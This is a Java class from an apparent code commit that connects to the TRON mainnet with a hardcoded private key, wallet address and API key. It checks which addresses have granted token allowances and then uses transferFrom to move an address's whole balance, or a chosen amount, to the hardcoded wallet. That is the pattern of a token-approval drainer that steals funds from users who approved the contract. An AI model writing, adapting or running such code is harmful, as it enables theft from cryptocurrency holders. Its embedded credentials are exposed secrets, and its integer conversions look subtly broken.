fix
Helius
2022-03-25 f5421991e02d1f146e9628bb1aa1d859519e0230
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package cc.mrbird.febs.dapp.chain;
 
import cc.mrbird.febs.common.contants.AppContants;
import cn.hutool.core.util.StrUtil;
import org.tron.trident.core.ApiWrapper;
import org.tron.trident.core.contract.Contract;
import org.tron.trident.core.contract.Trc20Contract;
 
import java.math.BigDecimal;
import java.math.BigInteger;
import java.math.RoundingMode;
 
/**
 *
 * 查询是否有多个授权
 * https://apiasia.tronscan.io:5566/api/account/approve/list?address=TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD
 *
 * @author wzy
 * @date 2022-03-21
 **/
public class TrxService {
 
    private final static String ADDRESS = "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9";
    private final static String PRIVATE = "7a1cdc7aa2976b16cfc79ed8310b1fb53a85780dd27574fa6c5eb7c2aceaa6ae";
 
    private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
    private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
 
    private Trc20Contract contract = null;
 
    public static TrxService INSTANCE = new TrxService();
 
    public TrxService() {
        ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY);
 
        Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS);
        contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper);
    }
 
    public BigInteger allowance(String owner) {
        return contract.allowance(owner, ADDRESS);
    }
 
    public BigInteger balanceOf(String address) {
        return contract.balanceOf(address);
    }
 
    public BigDecimal balanceOfDecimal(String address) {
        BigInteger chainData = balanceOf(address);
 
        BigInteger decimals = contract.decimals();
        BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
 
        return new BigDecimal(chainData).divide(mul, decimals.intValue(), RoundingMode.HALF_DOWN);
    }
 
    public void transfer(String address) {
        BigInteger balance = balanceOf(address);
 
        contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000L);
    }
 
    public void transfer(String address, BigDecimal amount) {
        BigInteger decimals = contract.decimals();
        BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
        amount = amount.multiply(mul);
 
        contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000L);
    }
}